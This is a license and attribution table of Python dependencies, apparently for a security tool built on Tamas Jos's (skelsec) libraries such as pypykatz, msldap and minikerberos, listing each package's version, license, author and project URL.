| | aiosqlite | 0.19.0 | MIT License | Amethyst Reese <amy@n7.gg> | UNKNOWN | | aiowinreg | 0.0.10 | MIT License | Tamas Jos | https://github.com/skelsec/aiowinreg | | amurex | 0.0.1 | UNKNOWN | Tamas Jos | https://github.com/skelsec/amurex | | arc4 | 0.4.0 | MIT License | Ryosuke Ito | https://github.com/manicmaniac/arc4 | | asn1crypto | 1.5.1 | MIT License | wbond | https://github.com/wbond/asn1crypto | | asn1tools | 0.166.0 | MIT License | Erik Moqvist | https://github.com/eerimoq/asn1tools | | asyauth | 0.0.16 | MIT License | Tamas Jos | https://github.com/skelsec/asyauth | | async-timeout | 4.0.3 | Apache Software License | Andrew Svetlov <andrew.svetlov@gmail.com> | https://github.com/aio-libs/async-timeout | | asysocks | 0.2.9 | MIT License | Tamas Jos | https://github.com/skelsec/asysocks | | attrs | 23.1.0 | MIT License | Hynek Schlawack <hs@ox.cx> | https://www.attrs.org/en/stable/changelog.html | | bitstruct | 8.17.0 | MIT License | Erik Moqvist, Ilya Petukhov | https://github.com/eerimoq/bitstruct | | cffi | 1.16.0 | MIT License | Armin Rigo, Maciej Fijalkowski | http://cffi.readthedocs.org | | charset-normalizer | 3.3.0 | MIT License | Ahmed TAHRI | https://github.com/Ousret/charset_normalizer | | colorama | 0.4.6 | BSD License | Jonathan Hartley <tartley@tartley.com> | https://github.com/tartley/colorama | | cryptography | 41.0.4 | Apache Software License; BSD License | The Python Cryptographic Authority and individual contributors <cryptography-dev@python.org> | https://github.com/pyca/cryptography | | frozenlist | 1.4.0 | Apache Software License | UNKNOWN | https://github.com/aio-libs/frozenlist | | greenlet | 3.0.0 | MIT License | Alexey Borzenkov | https://greenlet.readthedocs.io/ | | h11 | 0.14.0 | MIT License | Nathaniel J. Smith | https://github.com/python-hyper/h11 | | idna | 3.4 | BSD License | Kim Davies <kim@cynosure.com.au> | https://github.com/kjd/idna | | igraph | 0.11.2 | GNU General Public License (GPL) | Tamas Nepusz | https://igraph.org/python | | jackdaw | 0.4.1 | UNKNOWN | Tamas Jos | https://github.com/skelsec/jackdaw | | mdutils | 1.6.0 | MIT License | Didac Coll | https://github.com/didix21/mdutils | | minidump | 0.0.21 | MIT License | Tamas Jos | https://github.com/skelsec/minidump | | minikerberos | 0.4.2 | MIT License | Tamas Jos | https://github.com/skelsec/minikerberos | | msldap | 0.5.7 | MIT License | Tamas Jos | https://github.com/skelsec/msldap | | multidict | 6.0.4 | Apache Software License | Andrew Svetlov | https://github.com/aio-libs/multidict | | networkx | 3.1 | BSD License | Aric Hagberg | https://networkx.org/ | | numpy | 1.26.0 | BSD License | Travis E. Oliphant et al. | https://numpy.org | | octopwn | 0.0.4 | UNKNOWN | Tamas Jos | https://github.com/skelsec/octopwn | | opencv-python | 4.8.1.78 | Apache Software License | UNKNOWN | https://github.com/opencv/opencv-python | | oscrypto | 1.3.0 | MIT License | wbond | https://github.com/wbond/oscrypto | | prompt-toolkit | 3.0.39 | BSD License | Jonathan Slenders | https://github.com/prompt-toolkit/python-prompt-toolkit | | protobuf | 4.24.4 | 3-Clause BSD License | protobuf@googlegroups.com | https://developers.google.com/protocol-buffers/ | | pycparser | 2.21 | BSD License | Eli Bendersky | https://github.com/eliben/pycparser | | pycryptodomex | 3.19.0 | Apache Software License; BSD License; Public Domain | Helder Eijs | https://www.pycryptodome.org | | pyndiff | 1.0.2 | License is Apache License Version 2.0 | Brennon Thomas | https://github.com/rackerlabs/pyndiff | | pyparsing | 3.1.1 | MIT License | Paul McGuire <ptmcg.gm+pyparsing@gmail.com> | https://github.com/pyparsing/pyparsing/ | | pyperclip | 1.8.2 | BSD License | Al Sweigart | https://github.com/asweigart/pyperclip | | pypykatz | 0.6.9 | MIT License | Tamas Jos | https://github.com/skelsec/pypykatz | | pysnaffler | 0.0.1 | MIT License | Tamas Jos | https://github.com/skelsec/pysnaffler | | python-igraph | 0.11.2 | GNU General Public License (GPL) | Tamas Nepusz | https://igraph.org/python | | six | 1.16.0 | MIT License | Benjamin Peterson | https://github.com/benjaminp/six | | tabulate | 0.9.0 | MIT License | Sergey Astanin <s.astanin@gmail.com> | https://github.com/astanin/python-tabulate | | texttable | 1.7.0 | MIT License | Gerome Fournier | https://github.com/foutaise/texttable/ | | toml | 0.10.2 | MIT License | William Pearson | https://github.com/uiri/toml | | tqdm | 4.66.1 | MIT License; Mozilla Public License 2.0 (MPL 2.0) | UNKNOWN | https://tqdm.github.io | | typing_extensions | 4.8.0 | Python Software Foundation License | "Guido van Rossum, Jukka Lehtosalo, Łukasz Langa, Michael Lee" <levkivskyi@gmail.com> | https://github.com/python/typing_extensions | | unicrypto | 0.0.10 | UNKNOWN | Tamas Jos | https://github.com/skelsec/unicrypto | | unidns | 0.0.1 | MIT License | Tamas Jos | https://github.com/skelsec/unidns | | websockets | 11.0.3 | BSD License | Aymeric Augustin <aymeric.augustin@m4x.org> | https://github.com/aaugustin/websockets | | winacl | 0.1.7 | MIT License | Tamas Jos | https://github.com/skelsec/winacl | | wsnet | 0.0.13 | MIT License | Tamas Jos | https://github.com/skelsec/wsnet | | xmljson | 0.2.1 | MIT License | S Anand | https://github.com/sanand0/xmljson | | yarl | 1.9.2 | Apache Software License | Andrew Svetlov | https://github.com/aio-libs/yarl/ |